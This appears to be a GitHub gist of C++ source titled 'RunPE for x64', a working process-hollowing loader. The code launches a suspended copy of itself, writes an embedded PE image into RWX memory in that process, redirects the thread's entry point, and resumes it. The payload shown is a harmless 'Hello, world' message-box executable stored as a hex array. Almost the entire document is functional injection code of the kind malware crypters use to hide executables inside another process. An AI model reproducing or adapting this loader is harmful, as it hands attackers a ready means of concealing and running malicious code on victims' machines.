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valinet/runpe64.cpp

Last active Feb 24, 2021
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RunPE for x64
/*
RunPE for x64 - classic RunPE for 64-bit executables
Copyright (C) 2020 Valentin-Gabriel Radu
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-----
Compile using (make sure to use x64 cl):
cl runpe64.cpp
It should generate runpe64.exe.
*/
#undef UNICODE
#define UNICODE
#include <Windows.h>
/*
Based on examples from:
* https://github.com/Zer0Mem0ry/RunPE
* https://github.com/TRIKbranch/RunPE-X86--X64-
* https://gist.github.com/andreafortuna/d7fb92fb29e4ade27c0c6ce4401c99fa
This example compiles and runs standalone, just as a proof of concept.
*/
int runPE64(
LPPROCESS_INFORMATION lpPI,
LPSTARTUPINFO lpSI,
LPVOID lpImage,
LPWSTR wszArgs,
SIZE_T szArgs
)
{
WCHAR wszFilePath[MAX_PATH];
if (!GetModuleFileName(
NULL,
wszFilePath,
sizeof wszFilePath
))
{
return -1;
}
WCHAR wszArgsBuffer[MAX_PATH + 2048];
ZeroMemory(wszArgsBuffer, sizeof wszArgsBuffer);
SIZE_T length = wcslen(wszFilePath);
memcpy(
wszArgsBuffer,
wszFilePath,
length * sizeof(WCHAR)
);
wszArgsBuffer[length] = ' ';
memcpy(
wszArgsBuffer + length + 1,
wszArgs,
szArgs
);
PIMAGE_DOS_HEADER lpDOSHeader =
reinterpret_cast<PIMAGE_DOS_HEADER>(lpImage);
PIMAGE_NT_HEADERS lpNTHeader =
reinterpret_cast<PIMAGE_NT_HEADERS>(
reinterpret_cast<DWORD64>(lpImage) + lpDOSHeader->e_lfanew
);
if (lpNTHeader->Signature != IMAGE_NT_SIGNATURE)
{
return -2;
}
if (!CreateProcess(
NULL,
wszArgsBuffer,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED,
NULL,
NULL,
lpSI,
lpPI
))
{
return -3;
}
CONTEXT stCtx;
ZeroMemory(&stCtx, sizeof stCtx);
stCtx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(lpPI->hThread, &stCtx))
{
TerminateProcess(
lpPI->hProcess,
-4
);
return -4;
}
LPVOID lpImageBase = VirtualAllocEx(
lpPI->hProcess,
reinterpret_cast<LPVOID>(lpNTHeader->OptionalHeader.ImageBase),
lpNTHeader->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (lpImageBase == NULL)
{
TerminateProcess(
lpPI->hProcess,
-5
);
return -5;
}
if (!WriteProcessMemory(
lpPI->hProcess,
lpImageBase,
lpImage,
lpNTHeader->OptionalHeader.SizeOfHeaders,
NULL
))
{
TerminateProcess(
lpPI->hProcess,
-6
);
return -6;
}
for (
SIZE_T iSection = 0;
iSection < lpNTHeader->FileHeader.NumberOfSections;
++iSection
)
{
PIMAGE_SECTION_HEADER stSectionHeader =
reinterpret_cast<PIMAGE_SECTION_HEADER>(
reinterpret_cast<DWORD64>(lpImage) +
lpDOSHeader->e_lfanew +
sizeof(IMAGE_NT_HEADERS64) +
sizeof(IMAGE_SECTION_HEADER) * iSection
);
if (!WriteProcessMemory(
lpPI->hProcess,
reinterpret_cast<LPVOID>(
reinterpret_cast<DWORD64>(lpImageBase) +
stSectionHeader->VirtualAddress
),
reinterpret_cast<LPVOID>(
reinterpret_cast<DWORD64>(lpImage) +
stSectionHeader->PointerToRawData
),
stSectionHeader->SizeOfRawData,
NULL
))
{
TerminateProcess(
lpPI->hProcess,
-7
);
return -7;
}
}
if (!WriteProcessMemory(
lpPI->hProcess,
reinterpret_cast<LPVOID>(
stCtx.Rdx + sizeof(LPVOID) * 2
),
&lpImageBase,
sizeof(LPVOID),
NULL
))
{
TerminateProcess(
lpPI->hProcess,
-8
);
return -8;
}
stCtx.Rcx = reinterpret_cast<DWORD64>(lpImageBase) +
lpNTHeader->OptionalHeader.AddressOfEntryPoint;
if (!SetThreadContext(
lpPI->hThread,
&stCtx
))
{
TerminateProcess(
lpPI->hProcess,
-9
);
return -9;
}
if (!ResumeThread(lpPI->hThread))
{
TerminateProcess(
lpPI->hProcess,
-10
);
return -10;
}
return 0;
}
/*
Tiny executable example from:
https://stackoverflow.com/questions/11886036/c-win32-smallest-possible-messageboxhello-app-exe
Generate the tiny exe from this code:
#undef UNICODE
#define UNICODE
#include <Windows.h>
void startup()
{
MessageBox(0, L"Hello, world", L"", MB_SETFOREGROUND);
ExitProcess(42);
}
Compile using (make sure to compile for x64):
cl tiny.c kernel32.lib user32.lib /O2 /link /entry:startup /subsystem:windows /align:16
Convert to hex using something like:
https://tomeko.net/online_tools/file_to_hex.php?lang=en
*/
unsigned char hello_world[] = {
0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00,
0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,
0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,
0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20,
0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD1, 0x60, 0xE0, 0xFF, 0x95, 0x01, 0x8E, 0xAC, 0x95, 0x01, 0x8E, 0xAC, 0x95, 0x01, 0x8E, 0xAC,
0xCE, 0x69, 0x8F, 0xAD, 0x90, 0x01, 0x8E, 0xAC, 0x95, 0x01, 0x8F, 0xAC, 0x97, 0x01, 0x8E, 0xAC,
0x10, 0x71, 0x8A, 0xAD, 0x94, 0x01, 0x8E, 0xAC, 0x10, 0x71, 0x8C, 0xAD, 0x94, 0x01, 0x8E, 0xAC,
0x52, 0x69, 0x63, 0x68, 0x95, 0x01, 0x8E, 0xAC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x03, 0x00, 0xCA, 0xA3, 0xDB, 0x5E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, 0x0B, 0x02, 0x0E, 0x1A, 0x30, 0x00, 0x00, 0x00,
0xD0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x40, 0x04, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x60, 0x81,
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x9C, 0x03, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x30, 0x04, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x02, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00,
0x2C, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60,
0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xBE, 0x01, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00,
0xC0, 0x01, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,
0x0C, 0x00, 0x00, 0x00, 0x30, 0x04, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x30, 0x04, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40,
0x48, 0x83, 0xEC, 0x28, 0x41, 0xB9, 0x00, 0x00, 0x01, 0x00, 0x4C, 0x8D, 0x05, 0x3F, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x15, 0x40, 0x00, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x20, 0x00, 0x00, 0x00,
0xB9, 0x2A, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x05, 0x00, 0x00, 0x00, 0xCC, 0x00, 0x00, 0x00, 0x00,
0xF8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x14, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00,
0x6F, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x6C, 0x00, 0x64, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCA, 0xA3, 0xDB, 0x5E, 0x00, 0x00, 0x00, 0x00,
0x0D, 0x00, 0x00, 0x00, 0xC4, 0x00, 0x00, 0x00, 0xD0, 0x02, 0x00, 0x00, 0xD0, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x02, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78,
0x74, 0x24, 0x6D, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x35, 0x00, 0x00, 0x00, 0x00, 0x90, 0x02, 0x00, 0x00,
0x40, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xD0, 0x02, 0x00, 0x00,
0xC4, 0x00, 0x00, 0x00, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x24, 0x7A, 0x7A, 0x7A, 0x64, 0x62,
0x67, 0x00, 0x00, 0x00, 0x94, 0x03, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x2E, 0x78, 0x64, 0x61,
0x74, 0x61, 0x00, 0x00, 0x9C, 0x03, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61,
0x74, 0x61, 0x24, 0x32, 0x00, 0x00, 0x00, 0x00, 0xC4, 0x03, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00,
0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x33, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x03, 0x00, 0x00,
0x20, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x34, 0x00, 0x00, 0x00, 0x00,
0xF8, 0x03, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x2E, 0x69, 0x64, 0x61, 0x74, 0x61, 0x24, 0x36,
0x00, 0x00, 0x00, 0x00, 0x30, 0x04, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x2E, 0x70, 0x64, 0x61,
0x74, 0x61, 0x00, 0x00, 0x01, 0x04, 0x01, 0x00, 0x04, 0x42, 0x00, 0x00, 0xD8, 0x03, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x04, 0x00, 0x00, 0x70, 0x02, 0x00, 0x00,
0xE8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x04, 0x00, 0x00,
0x80, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x01, 0x45, 0x78, 0x69, 0x74, 0x50, 0x72,
0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x4B, 0x45, 0x52, 0x4E, 0x45, 0x4C, 0x33, 0x32, 0x2E, 0x64,
0x6C, 0x6C, 0x00, 0x00, 0x8A, 0x02, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78,
0x57, 0x00, 0x55, 0x53, 0x45, 0x52, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00,
0x40, 0x02, 0x00, 0x00, 0x6C, 0x02, 0x00, 0x00, 0x94, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
int main(
int argc,
char* argv[]
)
{
DWORD dwRet = 0;
PROCESS_INFORMATION stPI;
ZeroMemory(&stPI, sizeof stPI);
STARTUPINFO stSI;
ZeroMemory(&stSI, sizeof stSI);
WCHAR szArgs[] = L"";
if (!runPE64(
&stPI,
&stSI,
reinterpret_cast<LPVOID>(hello_world),
szArgs,
sizeof szArgs
))
{
WaitForSingleObject(
stPI.hProcess,
INFINITE
);
GetExitCodeProcess(
stPI.hProcess,
&dwRet
);
CloseHandle(stPI.hThread);
CloseHandle(stPI.hProcess);
}
return dwRet;
}
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